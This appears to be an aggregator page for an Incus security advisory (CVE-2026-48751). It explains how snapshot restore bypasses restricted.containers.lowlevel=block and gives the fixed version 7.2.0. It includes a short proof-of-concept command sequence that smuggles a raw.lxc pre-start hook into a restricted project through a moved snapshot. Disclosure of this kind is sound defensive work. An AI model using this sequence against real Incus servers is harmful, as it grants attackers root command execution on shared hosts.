GITHUB.COM/LXC/INCUS/V7/CMD/INCUSD · CVE-2026-48751 · Infrastructure
FIX → 7.2.0
Incus ignores the restricted.containers.lowlevel=block setting when restoring instance snapshots, so a crafted snapshot can set raw.lxc or raw.qemu hooks in a restricted project. An attacker who can move a snapshot into that project can run arbitrary commands as root on the Incus server.
first public Jun 25, 2026 · 2 sources
Check it with your coding agent
It checks your repository and tells you if you’re affected, with the fix.
Servers running incusd below 7.2.0 are exposed when they use restricted projects that rely on restricted.containers.lowlevel=block. The attack needs a user who can create or move snapshots in an unrestricted project and then move them into the restricted one. Single-tenant hosts without restricted projects are less exposed.
Not affected if incusd-7.2.0-or-later, no-restricted-projects, single-tenant
Who cares containers, cwe-862, incus, linux, self-hosted
incusd --version and compare it to the fixed release.restricted.containers.lowlevel to block on servers you run, since those are the projects the bypass defeats.Upgrade to 7.2.0
Instance snapshots ignore the restricted.containers.lowlevel=block setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as raw.lxc and raw.qemu.
Instance snapshots ignore the restricted.containers.lowlevel=block setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as raw.lxc and raw.qemu.
As snapshots can be moved from one server to another, a malicious instance+snapshot can be crafted locally, moved to a restricted project and the snapshot restored for arbitrary command execution.
In practice, this allows a malicious actor to execute arbitrary commands on the host with root privileges.
# remote, restricted
incus project set rem:project restricted.true
incus project set rem:project restricted.containers.lowlevel=block
# locally, unrestricted project
incus init images:debian/trixie rce-raw-lxc
incus config set rce-raw-lxc raw.lxc='lxc.hook.pre-start = /bin/sh -c "/bin/id >/lxc-hook-prestart"'
incus snapshot create rce-raw-lxc snap0
#> allow transfer to restricted project
incus config unset rce-raw-lxc raw.lxc
incus move rce-raw-lxc rem: --mode push
incus snapshot restore rem:rce-raw-lxc snap0
incus start rem:rce-raw-lxc
Are you affected?
Tell InfraStack what you run. It checks this one, and every next one, against your stack.
Ask from here. InfraStack checks the affected versions against your stack and answers in your inbox.
InfraStack checks the affected versions against your stack and answers in Slack, with the evidence and the fix.
7.2.0.This page as .md · .json · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
GitHub Advisory Database, CC-BY 4.0 · NVD data is provided by NIST and is public domain. Posts quoted belong to their authors.